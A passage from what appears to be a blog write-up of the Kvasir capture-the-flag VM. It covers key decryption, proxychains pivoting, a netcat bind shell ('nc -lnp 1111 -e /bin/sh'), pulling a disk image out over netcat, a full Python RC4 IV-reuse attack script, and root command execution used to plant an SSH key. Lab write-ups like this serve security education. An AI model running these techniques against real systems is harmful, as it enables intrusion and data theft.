sock.recv(2500) # base64 decode the last string print \u0026#34;[+] Extracing and decoding the base64 section\u0026#34; print base64.b64decode(frame.split(\u0026#39;\\n\u0026#39;)[-1]) sys.exit(0) sock.close # work with what we have left print \u0026#34;[+] Last frame was:\\n%s\u0026#34; % frame print \u0026#34;[+] Done\u0026#34; sys.exit(0) Once you are able to get a score of 120 it seems, you are considered a winner. Once you have won, a fairly large string is output again. This string appeared to be a base64 encoded string, and as a result, I added the base64.b64decode(frame.split('\\n')[-1]) section to the script so that if you win it will print the cleartext version.\nThe script is not perfect. Sometimes you don’t get 120 as a score and have to run it again. But, within a reasonable amount of attempts you are able to beat the game. A sample run would be:\nroot@kali:~# proxychains ./play.py ProxyChains-3.1 (http://proxychains.sf.net) [+] Matched atravdeii to radiative [+] Matched oilyaerbdmpn to imponderably [... snip ...] [+] Matched idmlhkeir to kriemhild [!] \u0026#39;Solve\u0026#39; not in frame. Game over? [+] We won! [+] Extracing and decoding the base64 section -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,76841822AB9E772FD1D653F6179F0E4D OrEM2ocnhHKg5nuH7ps1CoOJCihasmFJKLOVNNYFOhGKUojPYEta5yOhIskf0h0r So+xVDK67G3DlgymUV3DxGfizLfZvhxQRC8Qy0mf4N+miYkvf2NaFtatpNcjK5pM Uy6QSFMOC8aKpe0FL6UGDRJQ5GSG4DlJrLUJBMvnSLtYZHlaWAICKbXfpXV4STwv J0D8h9RtlRJhLCK5eKgupYCQIiGQWg3PvZpXk9kkjXhmOQwUYoCRl3l4j5zlnFcT P6U9UPhRq/Ck4Qrk2dGxFfppQd9xW+b4PWjiSCikLF3Q0hfNNvEbu4ounAgYwPFH jOXHJqxVog/pZz9Y8XfSP3hz9AYHWfI2iC9Cnk7boRcOv+mcgEeWWkYrVscOivYj 9N2xiNp4GH+NIG8mm/Ldl7jQMl/Vrr5cx3fXjOezmgsSkAY4CcspwKsSXK8GL/bO hT6pKWfL6UI8wUgpI7KhgK+AOKuS/XPYTSdz+0RJxNFSLOFNcjRtL+NW0UjPq5Jh Dia+pw5qB+lllxgaN0WBQskIFQpppPowwjG8Jg8jJBjSYj3r4LIrZwJSpcvoBiUA oCqnQUMtXlMh9/CvBBGs1+JVcjkInBde945V+ejhP6GPYju4TQV7B70d7aEW0OEm 0d7nrOW/LCYpsV/N5rqVsGlTvwjJNowyMqEZ9E09guM5eL4CEPPmp9ZDey2fBAGw q7nSr8q6Hsf4d+YPR+90EfMJReqI3s1FQoTvx+PaFPiKw7dfHFCgLscXcXcognLz cB0lnemI+cFmfY74F1eYL3fwJIwSRgK85Xc2My8sqJz1izj6IlO2kQ1jLkrhJOZ8 X+p/9w5zA0x2fbjppHac+YoJfyPyYXjkpigDPjHXhRit2qnUrHfDc0Fjh5AKNU2K MU/ywXGEg6w0CppK9JBo0u/xJlhT/jOWNiM4YZjXlhQzkxyebvbyRS6Slhlo142l gMuMUvPn1fAenir6AFwy2rlktQ5/a8z2VCwPkNA40MImSHMWRSFboDjM5zwr24Gk N0pI1BCmCsf0msvEwLhdcVnhJY7Bg4izm5bX+ArV/ymLOkybK8chz5fryXcjeV1q izJe2AXZk1/8hY80tvJWjxUEfnguyoozQf5T74mn5aez9JgGWMqzpfKwZ6Lx5cTg Zu+m+ryakBPFjUtt04lCYCCKWQzPhgIr5xUFx62hCGhh6W8tSIB6k7Hpun123GQ0 uT+R0ErYA5Gdyx44FZEatZ3rXCpVmJllCTWUqBuaHYAtcZThTTZfxRFHy02IT6FW PLCZ/XN2E+TdtkXmFcTXRsgtyA/5VXsTWWmRcHczv5g5YcQ3pHs3MhSxsWSdTz/8 RYzmxOnCjZWXaUe0Xb7FjA/evmpXsyhChGbvp0K0hZFcMeszFKa8K4pAedcyG31n 4+HhImnEpLZQOXhfXlkKMQXrBys7hkonkDp57Vqh+IIZLGzVmfTVEj2Whc/0Y+GI DMph0ZvTG+Jgv1LO3Sl82Rzm1jUkzEIZNIxYeSGrZf6ChVLPa85axqw5EVNCxYUg JAqg+ud6xIO9obidxzI2rLfbxcpMur80nb4crYMNm09yPQaskngK/4IjmnPLeTih -----END RSA PRIVATE KEY----- A private key? Encrypted though :( Remembering the string I got from the QR code earlier that had no affiliation to anything yet, I tried that as the password to decrypt:\nroot@kali:# openssl rsa -in terra_key -out terra_key_nopass Enter pass phrase for terra_key: # entered Nk9yY31hva8q writing RSA key root@kali:~# cat terra_key_nopass -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAyekXwhcscSSzT3vw5/eL2h1Bb55vEIOOAkQpIQQ/ldnyT6Yt w0dAaN71JidjfojzvdaZRNrRY5wkdHUr2t93TJx8vKDZ+n5up4nCKle3p2sz2hKP DhP7LvxkVTM7Io3qoAYXefggTOWvfoK8X8pXE3xAdIyF4uCXmDjeg6UKoCr5XiWP 12YQEODLd+tp9RH4R/rCaencsNsta45sY1NXtWuJje4HVkPV8ei04ce8SP5PwVhV sfp2Hxr8g4IKn7ZTwtmkD1SuvmZoyDHNAsToqFt2RiVE9yLQj94Gcagx7PqUijeH b+4T+6tuDZtjgct4RdYZejnUOYx+iHiSjl6xCQIDAQABAoIBADYOi+fQ4HsiQkeD fUn9gpnQv1Ys6rtXHUwKB6DpTETIZxFgAlyH1Py+xI+EeCTGcctfiwVeODUc9r2f KTCeJ4iBVPwDbJieBO4h+bPwbCEMmINH+LjiLJu1wv70il6D9E8Hkn17Ktqrm8KZ KenTeGClIXSSsr29N5jvkNNZ+nBK116l2TNNSsiWGc3VnezgCuRnDMSuKmA4P/OD 5F/h2/1sC33P1P5zxSMMsUZbm616AXNdv2DxHYm5b7p0L3/wzpZaJ+ZCp9jutbMO P7XADZrFSn1EOk9blfVQz77GhRUVAotXKv7Jj4x+zHjq2l3n2Jk5RwJLl8iw4vZ+ ActgrskCgYEA5RhweA1naUanRJtlnLY4ywjfpZffPOZovmthqeOYdSJmwdmKvf08 bBR7hRwwlwgD92jeZWC1nK2zjwVpVQqV3sq4+x6Yspp0T5d9hp7PqUvPGglRdPXX JQjMBV/Q2fK+ydnTz3xImjIvGsoFya9B/COKicu5ugCklCxtdNPJd/8CgYEA4Z9c cekfgeha7sYe202krz0m03b8IqFaEMBUkEDmr8+RTL2H+9ciu3/2y/0UJ20w3qwe gWv2OvOmumJ2wi/HVQdoQ9purzKWDdes6QrQsZ6+4eeylQmVmBSOF9YiVudSwyBM +2rmE4m4qAIVidIJskb6DpB+fxDU1iWFLHlUFvcCgYEArxV8buOfkp+CmjZA9AF3 agQAGCf3Xi2hA1ZBr3rXOz3tVl0RYZ21ncwRkms231Yq4dxtiwDcCz/dKIK0O1/5 pek8cf6yKF1OYr2eG1In1nSvdHCGpmJz6EPO2JSfotGX6d/ltn5/ZgjQYyLeRYMB ZNcsu57M9FAld3B0voJVSLUCgYACac72VPUGUbLvTOU1mU4CpdfNeT9XK3yoIzaE WH1fMgwu0vQqaHGxqbu9ENbvWQalyxeEcOAwXzzQT49Pom0yZqLh3utCKntaaI0r 7Pawf68xAWZym6ii+M1QSfUSEuVauvS317vgR5/XBDaww7Ng2cuA7mC8ATUVmU8k W6PfnwKBgQCBapB8OxxeRoFlnctafkTqtlNU5MGgiUGCCk/NNpDJhzaBuSdxdbRB bQ6OJjQ9fbjF24w1iOJCGTtMQ0fxer7oxoM8TblM/eYx3Dg6MwsVApP75VdqzSas mlJnXivwgJkeju+L42BMEl4UaxuhFPBSNCmlLBPj3Hdgyh5LSyIKmw== -----END RSA PRIVATE KEY----- Considering that 192.168.3.50 was named as terra in that /etc/hosts file, I attempted authentication using this key on it:\nroot@kali:~# proxychains ssh -D 8001 terra@192.168.3.50 -i terra_key_nopass ProxyChains-3.1 (http://proxychains.sf.net) Linux dev2 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have mail. Last login: Sun Nov 9 07:13:31 2014 from 192.168.3.200 terra@dev2:~$ As you can see, I also opened another socks proxy locally on port tcp/8001 in the case for any further pivoting needs. Again, to make sure we understand where in the network we are, consider the following diagram, with the path to dev2 in red:\n  letting myself in via the back door Enumerating dev2 did not reveal much interesting information. In fact, the most important clue found was in a mail for terra from Locke:\nterra@dev2:~$ cat /var/spool/mail/terra Return-path: \u0026lt;locke@192.168.4.100\u0026gt; Received: from locke by 192.168.4.100 with local (Exim 4.80) ~ (envelope-from \u0026lt;locke@adm\u0026gt;) ~ id 1XHczw-0000V2-8y ~ for terra@192.168.3.50; Wed, 13 Aug 2014 19:10:08 +0100 Date: Wed, 13 Aug 2014 19:10:08 +0100 To: terra@192.168.3.50 Subject: Port Knock User-Agent: Heirloom mailx 12.5 6/20/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: \u0026lt;E1XHczw-0000V2-8y@adm\u0026gt; From: locke@192.168.4.100 ~ Hi Terra, I\u0026#39;ve been playing with a port knocking daemon on my PC - see if you can use that to get a shell. Let me know how it goes. Regards, Locke Port knocking daemon eh? Admittedly at this stage again I was kinda stuck. Did I miss the sequence to knock on my way here? While wondering about this, I setup to run a port scan on 192.168.4.100\n# /etc/proxychains.conf has line # socks5 127.0.0.1 8001 # scans will appear to be coming from 192.168.4.50 for # 192.168.4.100 root@kali:~# proxychains nmap -sT 192.168.4.100 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 6.46 ( http://nmap.org ) at 2014-11-09 17:39 SAST Nmap scan report for 192.168.4.100 Host is up (0.0018s latency). Not shown: 999 closed ports PORT STATE SERVICE 22/tcp open ssh Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds Only tcp/22. :s\nI started working back a little bit to some of the previous machines in search for clues, but, found nothing concrete. Remembering the port knocking daemon used in Knock Knock (knockd), I went and searched for its configuration file, looking for the default port sequence it is configured with. I found the config file here, which revealed the default sequence of: 7000,8000,9000. So, I tested this by attempting to connect with nc to these ports on 192.168.4.100, and following up with a nmap:\nterra@dev2:~$ nc -v 192.168.4.100 7000 -w 1; nc -v 192.168.4.100 8000 -w 1; nc -v 192.168.4.100 9000 -w 1 192.168.4.100: inverse host lookup failed: Host name lookup failure (UNKNOWN) [192.168.4.100] 7000 (afs3-fileserver) : Connection refused 192.168.4.100: inverse host lookup failed: Host name lookup failure (UNKNOWN) [192.168.4.100] 8000 (?) : Connection refused 192.168.4.100: inverse host lookup failed: Host name lookup failure (UNKNOWN) [192.168.4.100] 9000 (?) : Connection refused terra@dev2:~$ The nmap after the knock:\nroot@kali:~# proxychains nmap -sT 192.168.4.100 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 6.46 ( http://nmap.org ) at 2014-11-09 17:45 SAST Nmap scan report for 192.168.4.100 Host is up (0.0015s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 1111/tcp open lmsocialserver Nmap done: 1 IP address (1 host up) scanned in 1.71 seconds A new port! tcp/1111 :) Lets check it out.\nroot@kali:~# proxychains nc 192.168.4.100 1111 ProxyChains-3.1 (http://proxychains.sf.net) # a new connection has no output. Only after typing # \u0026#39;crap\u0026#39; do you realise you have a sh session open id uid=1000(locke) gid=1000(locke) groups=1000(locke) Shell access as locke on 192.168.4.100. Nice :D To help me ensure I can comprehend where I am in the network, consider the following diagram, which is turning into a mess thanks to how deep this whole is\u0026hellip; The new connection denoted in red again:\n  busting kefka The shell on adm as locke was nothing more than a /bin/sh instance executed over netcat. This can be seen in the littleShell.sh file in /home/locke:\ncat littleShell.sh #!/bin/sh /bin/nc -lnp 1111 -e \u0026#39;/bin/sh\u0026#39; Other interesting files were all in locke\u0026rsquo;s home directory:\npwd /home/locke ls -lh total 332K -rw-r--r-- 1 locke locke 322K Aug 10 10:32 diskimage.tar.gz -rwxr--r-- 1 locke locke 42 Aug 13 17:59 littleShell.sh -rw-r--r-- 1 locke locke 110 Sep 4 13:38 note.txt The note.txt file:\ncat note.txt Looks like Kefka may have been abusing our removable media policy. I\u0026#39;ve extracted this image to have a look. Awesome. That gives me a pretty clear idea of where this may be going. My guess was I needed to find something interesting in the diskimage.tar.gz file to progress. The first thing I had to do was get a local copy of diskimage.tar.gz. Out comes netcat again :) I hosted the file on tcp/4444 on 192.168.4.100 with nc -lvp 4444 \u0026lt; diskimage.tar.gz | xxd -p. I then read the file on my attacking machine with timeout 5 proxychains nc 192.168.4.100 4444 \u0026gt; diskimage.tar.gz (I gave the file 5 seconds to come over before killing the connection, allowing my other netcat shell to stay alive).\nI had to carve out the string ProxyChains-3.1 (http://proxychains.sf.net) out of the archive I get locally on disk due to the proxychains command adding this. Luckily it was a simple dd on the top line and it was gone :)\nI then extracted the archive and ran the resultant archive through file:\nroot@kali:~# tar xvf diskimage.tar.gz diskimage root@kali:~# file -k diskimage diskimage: x86 boot sector, code offset 0x3c, OEM-ID \u0026#34;MSDOS5.0\u0026#34;, sectors/cluster 2, root entries 512, Media descriptor 0xf8, sectors/FAT 238, heads 255, hidden sectors 63, sectors 122031 (volumes \u0026gt; 32 MB) , reserved 0x1, serial number 0xad6f8bf, unlabeled, FAT (16 bit) DOS executable (COM), boot code Ok, so this really looks like a disk image. I decided to mount it and have a look inside:\nroot@kali:~# mount diskimage /mnt/ root@kali:~# ls -lah /mnt/ total 21K drwxr-xr-x 2 root root 16K Jan 1 1970 . drwxr-xr-x 23 root root 4.0K Sep 17 13:04 .. -rwxr-xr-x 1 root root 118 Aug 3 12:10 Secret.rar # oh! a .rar? Lets extract... root@kali:~# unrar x /mnt/Secret.rar UNRAR 4.10 freeware Copyright (c) 1993-2012 Alexander Roshal Extracting from /mnt/Secret.rar Enter password (will not be echoed) for MyPassword.txt: No files to extract A .rar archive, but no password to extract. Aaaand again, I was stuck. My guess was there was some forensics aspect to this, and that the disk image may be more than just a disk image\u0026hellip;\nSome googling around got me a hit on a tool called autopsy, which is a disk image analysis framework. I cared little for the case files features and what not, but much rather the actual analysis features. I fired up the tool from the Kali menu, and browsed to the web interface. I had a whole bunch of prompts to work through, and eventually came to a view that allowed me to inspect the disk:\n  C:/Funky.wav. Now that is not something I saw when I had the disk mounted :D. I downloaded the file via the Export link, copied it to my laptop (my Kali doesnt have sound for whatever reason) and fired up the speakers to have a listen.\nIt sounded like this:\n  Yeah, I don\u0026rsquo;t get it either. I was stumped for a few minutes again, until I remembered Xerxes2, which has a similar strange sounding file, but with a hidden message viewable via a spectrogram generated by Sonic Visualizer. I downloaded the app, loaded the wav file and got the spectrogram to do its thing:\n  OrcWQi5VhfCo. Was this the password for the .rar archive?\nroot@kali:~# unrar x /mnt/Secret.rar UNRAR 4.10 freeware Copyright (c) 1993-2012 Alexander Roshal Extracting from /mnt/Secret.rar Enter password (will not be echoed) for MyPassword.txt: Extracting MyPassword.txt OK All OK root@kali:~# cat MyPassword.txt 5224XbG5ki2C Yep! However, another random string. Remembering the note about this being a disk image from kefka, I attempted to SSH into 192.168.4.100 as kefka with this password:\nroot@kali:~# proxychains ssh -D 8002 kefka@192.168.4.100 ProxyChains-3.1 (http://proxychains.sf.net) kefka@192.168.4.100\u0026#39;s password: # entered 5224XbG5ki2C Linux adm 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Nov 9 07:14:02 2014 from 192.168.4.50 kefka@adm:~$ A final tcp/8002 proxy was opened on my attacking machine.\ntaking the last ride to the flag Enumeration as kefka revealed that this user is allowed to run /opt/wep2.py as root. This is almost screaming at me as the privilege escalation path!\nI ran the script with sudo, just to be presented with\u0026hellip; nothing :/ No matter what I typed in, I received no output. That was until I ^C the application and receive a traceback, hinting towards the fact that it may have opened a socket:\nkefka@adm:~$ sudo /opt/wep2.py ^CTraceback (most recent call last): File \u0026#34;/opt/wep2.py\u0026#34;, line 93, in \u0026lt;module\u0026gt; sock, addr = s.accept() File \u0026#34;/usr/lib/python2.7/socket.py\u0026#34;, line 202, in accept sock, addr = self._sock.accept() KeyboardInterrupt kefka@adm:~$ I re-run the script backgrounding it with \u0026amp;, and inspect the output of netstat -pant to reveal a port 1234 to be open. From my attacking machine, I connected to the socket using proxychains on the new tcp/8002 proxy. The 127.0.0.1 is in fact 192.168.4.100 and not my actual localhost:\n# /etc/proxychains.conf has line # socks5 127.0.0.1 8002 # connections will appear to be coming from localhost root@kali:~# proxychains nc -v 127.0.0.1 1234 ProxyChains-3.1 (http://proxychains.sf.net) 127.0.0.1: inverse host lookup failed: (UNKNOWN) [127.0.0.1] 1234 (?) open : Operation now in progress ============================= Can you retrieve my secret..? ============================= Usage: \u0026#39;V\u0026#39; to view the encrypted flag \u0026#39;E\u0026#39; to encrypt a plaintext string (e.g. \u0026#39;E AAAA\u0026#39;) V 5a5062:36507a63b56865f7fd201860 ^C root@kali:~# We are presented with yet another game, this time, something completely different. I played a little with the output, attempting to escape the environment. Most input would be picked up as invalid input, and the netcat connection killed, causing me to have to re-run sudo /opt/wep2.py on the kefka session.\nBy now, I was pretty exhausted from everything Kvasir has thrown at me and the rabbit hole has become pretty deep and dark. From testing the above game, I guessed that the output for commands were salt:cyphertext, which changes for anything you throw at it. Furthermore, the game allows you to encrypt known clear text. As a test, I tested with A, and studied the output:\nE A 348bbc:8d E A f2fb0c:6e E A 64d7fb:2d Assuming the first part is the salt, my text is encrypted and presented as a single hex byte. Other than that, I am not really sure what my attack vectors are, if any.\nTaking it easy for a while, I had a chat to @barrebas on how far I am with Kvasir, when he mentioned that the filename wep2.py should be taken as a hint!\nThis had to be the hardest part of the entire challenge for me personally. The largest part of this was spent reading reading reading and more reading! Ofc, this is also my biggest take from Kvasir :)\nunderstanding what WEP actually is With the limited interaction I have had with the last game, and the hint wep2, I set out to test my Google-fu. I know there is no such thing as WEP2, but there is WPA2. So the first part was to determine if the hint is something like WEP or WPA2.\nSome resources that really helped me get to grips with what we are facing here was: http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf http://www.csee.umbc.edu/courses/graduate/CMSC628/spring2002/ppt/kunjan.ppt http://www.cs.berkeley.edu/~daw/talks/HPColloq03.ppt http://www.cs.unb.ca/~ken/papers/cnsr2004.pdf\nOf the above list, I highly recommend you check out the .ppt\u0026rsquo;s. As lame as it may seem, it really helped me just over the cliff into understanding what I was facing here and what the fundamental problem is that I should be exploiting.\nThe reading on WPA revealed that a encrypted packet is determined similar to a RC4 stream cipher is. Let C be the cipher text and P be the plain text. A publicly known Initialization Vector and a Secret Key as a function of RC4 is ^ (XOR\u0026rsquo;d) with the plaintext to produce the cipher text. Typically, this is represented as:\n C = P ^ RC4(iv, k)\n With that now known, we can learn about vulnerabilities in this algorithm. More specifically, about Stream Cipher Attacks and Related Key Attacks. With all of the knowledge gained with close to 6 hours of almost straight googling, I was ready to get going at trying something.\nMy initial understanding was as follows; If I can get 2 unique plaintext’s encrypted using the same IV\u0026rsquo;s, I can XOR the cipher text of the known clear text with the actual clear text to determine the key stream for that IV. Then XOR that key stream with the cipher text I wanted to decrypt. Considering I was able to create encryption samples, I decided not to spend any time on WPA2 and concluded the 2 in wep2 was another troll :)\nattacking the encryption game Armed with the knowledge I had now, I started to write some skeleton code to interact with the socket. This was very basic and simply sent and received frames as required.\nI then decided on 2 strings to test. The first being (A * 24), the second being (B * 24). The idea was to send the first string (A * 24) 1000 times, and record the IV:CIPHER_TEXT in a python dictionary. I would then loop a second time using a string of (B * 24), each time doing a lookup in the dictionary for a matching IV. If one is found, it means we have 2 known plain texts (A * 24 and B * 24), 2 known cipher texts and their common IV (iv collision in fact).\nOnce the collision is found, I would then XOR the Cipher Text with the Clear Text to determine the key stream, and finally, XOR the key stream with any cipher text sharing the same IV to determine the clear text.\nI completed the python skeleton script to do the actual XOR and IV matching work, and after a few hours, had successful runs in decrypting using the key derived from the (A *24) plaintext\u0026rsquo;s cipher text:\nroot@kali:~# proxychains ./un_wep-testing.py ProxyChains-3.1 (http://proxychains.sf.net) [+] Generating base iv:cy dictionary with \u0026#39;A\u0026#39; *24 [+] iv_dict knows about 5000 combinations [+] Starting Bruteforce with \u0026#39;B\u0026#39; *24 [+] Frame matched IV of 929d87 in 4559 tries! [+] Base Cyper Text was: c5bdd075b0b1de9e9a663999a860a53348cafea5f73c794b [+] Matched Cypher Text: c6bed376b3b2dd9d99653a9aab63a6304bc9fda6f43f7a48 [+] A ^ B BBBBBBBBBBBBBBBBBBBBBBBB [+] Done This was great news, but it did not decrypt our flag :) For that, I had to bring some modifications to the code. Firstly, I tested with (A * 24) because if I know the plain text, testing is easier. I do not know the plaintext for the encrypted flag yet, so I had to be 100% sure the theory works before maybe getting a wrong answer from the flag decryption. So, I changed the IV dictionary generation from encrypting (A *24) 5000 times to requesting the encrypted flag 5000 times.\nWith the changes in, I ended up with the following script:\n#!/usr/bin/python  # Kvasir RC4 Key Re-use Attack import socket # start a fresh iv_dict used for lookups iv_dict = {} # connection to the thing sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((\u0026#39;127.0.0.1\u0026#39;, 1234)) # read the banner so we can continue # ============================= # Can you retrieve my secret..? # ============================= # # Usage: # \u0026#39;V\u0026#39; to view the encrypted flag # \u0026#39;E\u0026#39; to encrypt a plaintext string (e.g. \u0026#39;E AAAA\u0026#39;) banner = sock.recv(1024) # create some iv:cyper combinations of the flag print \u0026#39;[+] Generating base iv:cy dictionary\u0026#39; for i in range(0,5000): sock.send(\u0026#39;V\\n\u0026#39;) frame = sock.recv(150) iv = frame.split(\u0026#39;:\u0026#39;)[0] cy = frame.split(\u0026#39;:\u0026#39;)[1] # add the values iv_dict[iv] = cy.strip() print \u0026#39;[+] The iv_dict knows about %d combinations\u0026#39; % len(iv_dict) # start processing the second string, looking up the IV print \u0026#39;[+] Starting Bruteforce with \\\u0026#39;B\\\u0026#39; *24\u0026#39; count = 0 while True: count += 1 sock.send(\u0026#39;E \u0026#39; + \u0026#39;B\u0026#39; *24 + \u0026#39;\\n\u0026#39;) frame = sock.recv(150) iv = frame.split(\u0026#39;:\u0026#39;)[0] cy = frame.split(\u0026#39;:\u0026#39;)[1].strip() # annoying \\n if iv in iv_dict: print \u0026#39;[+] Frame matched IV of %s in %d tries!\u0026#39; % (iv, count) print \u0026#39;[+] Base Cyper Text was: %s\u0026#39; % iv_dict[iv] print \u0026#39;[+] Matched Cypher Text: %s\u0026#39; % cy # first XOR to get the keystream for this IV keystream = \u0026#39;\u0026#39;.join(chr(ord(a) ^ ord(b)) for a,b in zip(cy.decode(\u0026#34;hex\u0026#34;),\u0026#39;B\u0026#39;*24)) print \u0026#39;[+] Keystream: %s\u0026#39; % keystream.encode(\u0026#34;hex\u0026#34;) # then decode second cypher text using the keystream for the cleartext decrypted = \u0026#39;\u0026#39;.join(chr(ord(a) ^ ord(b)) for a,b in zip((iv_dict[iv]).decode(\u0026#34;hex\u0026#34;),keystream)) print \u0026#39;[+] Decrytped flag is: %s\u0026#39; % decrypted break # progress incase things take longer than expected if count % 100000 == 0: print \u0026#39;[+] Tries: %d\u0026#39; % count print \u0026#39;[+] Done\u0026#39; sock.close() In no time at all, the above code outputs the decrypted flag:\nroot@kali:~# proxychains ./un_wep.py ProxyChains-3.1 (http://proxychains.sf.net) [+] Generating base iv:cy dictionary [+] The iv_dict knows about 5000 combinations [+] Starting Bruteforce with \u0026#39;B\u0026#39; *24 [+] Frame matched IV of 06f39e in 1696 tries! [+] Base Cyper Text was: 02bf9ad2d5629c9f530b39a6 [+] Matched Cypher Text: 70aaeec5a156a99a251e4ab2217436ae08a64b5ce0c21c9c [+] Keystream: 32e8ac87e314ebd8675c08f0633674ec4ae4091ea2805ede [+] Decrytped flag is: 0W6U6vwG4W1V [+] Done 0W6U6vwG4W1V. Seriously. All that work for another string. :( I immediately started to doubt if I nailed this. I tested this as the root password for all the previous machines I have not been root on yet to no avail. Then, I looked at the clock as saw it was 3am\u0026hellip; bed time for me!!\nfinally getting the flag, sort of\u0026hellip; I woke up 7am, immediately thinking about this small string and the amount of work that went into getting it. I double checked my theory and script to make sure I am not missing something, but everything seemed to look fine.\nAfter a breath of fresh air, I reconnected to the game and slapped the string in and pressed enter:\nroot@kali:~# proxychains nc -v 127.0.0.1 1234 ProxyChains-3.1 (http://proxychains.sf.net) 127.0.0.1: inverse host lookup failed: (UNKNOWN) [127.0.0.1] 1234 (?) open : Operation now in progress ============================= Can you retrieve my secret..? ============================= Usage: \u0026#39;V\u0026#39; to view the encrypted flag \u0026#39;E\u0026#39; to encrypt a plaintext string (e.g. \u0026#39;E AAAA\u0026#39;) 0W6U6vwG4W1V \u0026gt; Wut. Ok, so I have a thing now. It didn’t accept anything I was typing into it. Everything just came back with another \u0026gt;.\n\u0026gt; ls \u0026gt; id \u0026gt; whoami \u0026gt; ls -lah \u0026gt; uname -a \u0026gt; help \u0026gt; ? \u0026gt; I disconnected from the netcat session and tabbed back to the session where the /opt/wep2.py script is started. Immediately it became clear what was going on:\nkefka@adm:~$ sudo /opt/wep2.py Traceback (most recent call last): File \u0026#34;\u0026lt;string\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; NameError: name \u0026#39;ls\u0026#39; is not defined Traceback (most recent call last): File \u0026#34;\u0026lt;string\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; NameError: name \u0026#39;whoami\u0026#39; is not defined Traceback (most recent call last): File \u0026#34;\u0026lt;string\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; NameError: name \u0026#39;ls\u0026#39; is not defined Traceback (most recent call last): File \u0026#34;\u0026lt;string\u0026gt;\u0026#34;, line 1, in \u0026lt;module\u0026gt; NameError: name \u0026#39;uname\u0026#39; is not defined File \u0026#34;\u0026lt;string\u0026gt;\u0026#34;, line 1 ? ^ SyntaxError: invalid syntax Traceback (most recent call last): File \u0026#34;/opt/wep2.py\u0026#34;, line 94, in \u0026lt;module\u0026gt; handler(sock, addr) File \u0026#34;/opt/wep2.py\u0026#34;, line 74, in handler sock.send(p1) socket.error: [Errno 32] Broken pipe kefka@adm:~$ It seems like I have a kind of python shell? After a bit of fiddling around, I eventually started getting something usefull out of it:\n0W6U6vwG4W1V \u0026gt; import os; os.system(\u0026#39;id\u0026#39;); uid=0(root) gid=0(root) groups=0(root) Yay :) I went straight for the cat /root/flag:\n\u0026gt; import os; os.system(\u0026#39;cat /root/flag\u0026#39;); _ __ _ | |/ / __ __ __ _ ___ (_) _ _ | \u0026#39; \u0026lt; \\ I / / _` | (_-\u0026lt; | | | \u0026#39;_| |_|\\_\\  _\\_/_ \\__,_| /__/_ _|_|_ _|_|_ _|\u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026#34;|_|\u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026#34;|_|\u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026#34;|_|\u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026#34;|_|\u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026#34;|_|\u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026#34;| \u0026#34;`-0-0-\u0026#39;\u0026#34;`-0-0-\u0026#39;\u0026#34;`-0-0-\u0026#39;\u0026#34;`-0-0-\u0026#39;\u0026#34;`-0-0-\u0026#39;\u0026#34;`-0-0-\u0026#39; Pbatenghyngvbaf ba orngvat Xinfve - V ubcr lbh rawblrq gur evqr. Gnxr uvf oybbq, zvk jvgu ubarl naq qevax gur Zrnq bs Cbrgel... Ovt fubhg bhg gb zl orgn grfgref: @oneeronf naq @GurPbybavny. Fcrpvny gunaxf gb Onf sbe uvf cngvrapr qhevat guvf raqrnibhe. Srry serr gb cvat zr jvgu gubhtugf/pbzzragf ba uggc://jv-sh.pb.hx, #IhyaUho VEP be Gjvggre. enfgn_zbhfr(@_EnfgnZbhfr) \u0026gt; Err, oh @_RastaMouse you!! What is this? I figured I need to get a proper shell going to make life a little easier for myself. I did this by using the command execution we have now to prepare a authorized_keys file for root for me, adding the public key of the key pair I initially created. Then, finally, I SSH\u0026rsquo;d in as root:\nroot@kali:~# proxychains ssh root@127.0.0.1 -i kvasir_key ProxyChains-3.1 (http://proxychains.sf.net) Linux adm 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Nov 9 16:57:16 2014 from localhost root@adm:~# the final troll With the /root/flag in a really strange format, I poked around a little to see what is going on. Eventually I went down to a python shell, loaded the flag and fiddled with decode() again:\nroot@adm:~# python Python 2.7.3 (default, Mar 13 2014, 11:03:55) [GCC 4.7.2] on linux2 Type \u0026#34;help\u0026#34;, \u0026#34;copyright\u0026#34;, \u0026#34;credits\u0026#34; or \u0026#34;license\u0026#34; for more information. \u0026gt;\u0026gt;\u0026gt; with open(\u0026#39;/root/flag\u0026#39;) as f: ... flag = f.read() ... \u0026gt;\u0026gt;\u0026gt; print flag.decode(\u0026#39;rot13\u0026#39;) _ __ _ | |/ / __ __ __ _ ___ (_) _ _ | \u0026#39; \u0026lt; \\ V / / _` | (_-\u0026lt; | | | \u0026#39;_| |_|\\_\\  _\\_/_ \\__,_| /__/_ _|_|_ _|_|_ 